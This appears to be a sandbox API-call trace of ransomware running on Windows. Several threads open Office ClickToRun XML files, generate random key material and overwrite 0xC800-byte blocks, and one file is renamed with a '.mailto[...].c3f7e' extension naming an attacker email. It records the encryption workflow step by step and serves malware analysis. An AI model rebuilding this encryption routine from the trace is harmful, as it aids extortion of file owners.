	[0089.408] SetFilePointerEx (in: hFile=0x1c60, liDistanceToMove=0x1536a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.408] ReadFile (in: hFile=0x1c60, lpBuffer=0x2d23fb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d23fb54, lpOverlapped=0x0 | out: lpBuffer=0x2d23fb58*, lpNumberOfBytesRead=0x2d23fb54*=0x4, lpOverlapped=0x0) returned 1
	[0089.431] SetFilePointerEx (in: hFile=0x1c60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0089.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731f88
	[0089.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.431] NtQuerySystemTime (in: CurrentTime=0x2d23fb34 | out: CurrentTime=0x2d23fb34*=132251868161632255) returned 0x0
	[0089.431] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x7d04f272
	[0089.431] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x10e3e4c5
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x503e8a99
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x9c38aed5
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x407e92b
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x348dc226
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x2b8bf81c
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x4e05f7c5
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x29dc4ff2
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x2eda4399
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xd30c2309
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x2074c050
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xc110f4ce
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x365f0656
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x526a1880
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x76ab9346
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xd734a082
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x9eacdba5
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x2db3cdd3
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xe3e9fbef
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xe071a46
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x462f8ddb
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x226fc032
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x9ae4fd89
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xedc75dae
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x176dcb14
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x8d876bff
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x767a9c57
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x26e9832e
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0x84695ba7
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xfaaf0af4
	[0089.432] RtlRandom (in: Seed=0x2d23fb40 | out: Seed=0x2d23fb40) returned 0xcd6018dc
	[0089.441] SetFilePointerEx (in: hFile=0x1c60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.441] ReadFile (in: hFile=0x1c60, lpBuffer=0x507f070, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d23fb14, lpOverlapped=0x0 | out: lpBuffer=0x507f070*, lpNumberOfBytesRead=0x2d23fb14*=0xc800, lpOverlapped=0x0) returned 1
	[0089.462] SetFilePointerEx (in: hFile=0x1c60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0089.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b28
	[0089.462] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b28) returned 1
	[0089.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5066060
	[0089.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318d0
	[0089.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0089.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0089.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0089.463] WriteFile (in: hFile=0x1c60, lpBuffer=0x5066060*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d23fb14, lpOverlapped=0x0 | out: lpBuffer=0x5066060*, lpNumberOfBytesWritten=0x2d23fb14*=0xc800, lpOverlapped=0x0) returned 1
	[0093.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5066060) returned 1
	[0093.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x507f070) returned 1
	[0093.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x47541f0
	[0093.230] SetFilePointerEx (in: hFile=0x1c60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.230] WriteFile (hFile=0x1c60, lpBuffer=0x48bbe08, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x2d23fb94, lpOverlapped=0x0) 

Thread:
	id = 1308
	os_tid = 0x20ac

	[0089.409] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml")) returned 0x20
	[0089.410] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.410] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c64
	[0089.410] GetFileSizeEx (in: hFile=0x1c64, lpFileSize=0x2d2bf7dc | out: lpFileSize=0x2d2bf7dc*=78078) returned 1
	[0089.410] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x130fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.410] ReadFile (in: hFile=0x1c64, lpBuffer=0x2d2bf760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d2bf75c, lpOverlapped=0x0 | out: lpBuffer=0x2d2bf760*, lpNumberOfBytesRead=0x2d2bf75c*=0x4, lpOverlapped=0x0) returned 1
	[0089.448] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0089.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b00
	[0089.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0089.448] NtQuerySystemTime (in: CurrentTime=0x2d2bf73c | out: CurrentTime=0x2d2bf73c*=132251868161788129) returned 0x0
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x26a0ba65
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xb5776941
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xfa458080
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x6b0ac772
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xc8ba3c64
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xd11b17e
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xa6e5cb32
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x8708c66b
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xb058f05f
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x7b91435a
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xcabe40c5
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x102f2b94
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x7addd8b7
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x21e35a16
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xa1978d68
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x7b2535a7
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x10ab1cf2
	[0089.448] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x3679bd83
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xfb3ea8a9
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xe76c3f54
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xace2308
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xe5be56f7
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x9c88eb53
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xed417567
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xf9234a62
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x8a9bc891
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x28880523
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x769b346b
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x896336b6
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0xbf182afb
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x98ac30b0
	[0089.449] RtlRandom (in: Seed=0x2d2bf748 | out: Seed=0x2d2bf748) returned 0x81a78c48
	[0089.458] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.458] ReadFile (in: hFile=0x1c64, lpBuffer=0x5059858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d2bf71c, lpOverlapped=0x0 | out: lpBuffer=0x5059858*, lpNumberOfBytesRead=0x2d2bf71c*=0xc800, lpOverlapped=0x0) returned 1
	[0089.490] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb468
	[0089.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82c70
	[0089.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d08) returned 1
	[0089.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50bd898
	[0089.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e48
	[0089.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.494] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d08) returned 1
	[0089.494] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82c70) returned 1
	[0089.494] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb468) returned 1
	[0089.494] WriteFile (in: hFile=0x1c64, lpBuffer=0x50bd898*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d2bf71c, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesWritten=0x2d2bf71c*=0xc800, lpOverlapped=0x0) returned 1
	[0089.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50bd898) returned 1
	[0089.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5059858) returned 1
	[0089.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x55) returned 0x2d778a0
	[0089.508] SetFilePointerEx (in: hFile=0x1c64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.508] WriteFile (in: hFile=0x1c64, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x139, lpNumberOfBytesWritten=0x2d2bf79c, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x2d2bf79c*=0x139, lpOverlapped=0x0) returned 1
	[0089.520] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77b40) returned 1
	[0089.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d80) returned 1
	[0089.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0089.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e48) returned 1
	[0089.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0089.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731970) returned 1
	[0089.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319c0) returned 1
	[0089.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2e02570
	[0089.521] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml"
	[0089.521] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.521] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2d2bf754, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x498ed90
	[0089.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc3e8) returned 1
	[0089.522] NtQueryInformationFile (in: FileHandle=0x1c64, IoStatusBlock=0x2d2bf760, FileInformation=0x2d2bf738, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d2bf760, FileInformation=0x2d2bf738) returned 0x0
	[0089.522] NtSetInformationFile (FileHandle=0x1c64, IoStatusBlock=0x2d2bf760, FileInformation=0x2d2bf738, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.523] FlushFileBuffers (hFile=0x1c64) returned 1
	[0093.272] CloseHandle (hObject=0x1c64) 

Thread:
	id = 1309
	os_tid = 0x20b0

	[0089.411] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml")) returned 0x20
	[0089.412] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", dwFileAttributes=0x20) returned 1
	[0089.412] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c68
	[0089.412] GetFileSizeEx (in: hFile=0x1c68, lpFileSize=0x2d33fdc8 | out: lpFileSize=0x2d33fdc8*=3304) returned 1
	[0089.412] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.412] ReadFile (in: hFile=0x1c68, lpBuffer=0x2d33fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d33fd48, lpOverlapped=0x0 | out: lpBuffer=0x2d33fd4c*, lpNumberOfBytesRead=0x2d33fd48*=0x4, lpOverlapped=0x0) returned 1
	[0089.479] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e48
	[0089.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ee8
	[0089.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.479] NtQuerySystemTime (in: CurrentTime=0x2d33fd28 | out: CurrentTime=0x2d33fd28*=132251868162100679) returned 0x0
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xcf4399e0
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x3f135d7b
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x661edae8
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xc425326b
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xb126c93f
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x6dbed06f
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xc23fb4e7
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x73cf2abc
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xb54c20e8
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xf7cbf341
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x2453d006
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x67fbeef3
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x7eb5f708
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xa08cf170
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x1c93cb81
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x8e135e8
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xc12860ef
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xb617a274
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x37697a91
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xfe7050fb
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xc92cc720
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x38856fb2
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xb7954100
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x7dd7ef1a
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xf186d52d
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x5ff8ad03
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x16da9399
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xf91092d
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xe5e421dc
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x9de63cfd
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0xe5f4dad7
	[0089.479] RtlRandom (in: Seed=0x2d33fd34 | out: Seed=0x2d33fd34) returned 0x69f563f5
	[0089.489] ReadFile (in: hFile=0x1c68, lpBuffer=0x50a4888, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x2d33fd24, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x2d33fd24*=0xce8, lpOverlapped=0x0) returned 1
	[0089.489] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.489] WriteFile (in: hFile=0x1c68, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0xce8, lpNumberOfBytesWritten=0x2d33fd20, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x2d33fd20*=0xce8, lpOverlapped=0x0) returned 1
	[0089.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0089.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bf0
	[0089.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bf0) returned 1
	[0089.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0089.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0089.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a90) returned 1
	[0089.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x77) returned 0x47bca10
	[0089.504] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.504] WriteFile (in: hFile=0x1c68, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x15b, lpNumberOfBytesWritten=0x2d33fd88, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x2d33fd88*=0x15b, lpOverlapped=0x0) returned 1
	[0089.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc910) returned 1
	[0089.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b78) returned 1
	[0089.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bca10) returned 1
	[0089.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0089.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ee8) returned 1
	[0089.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d80) returned 1
	[0089.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e70) returned 1
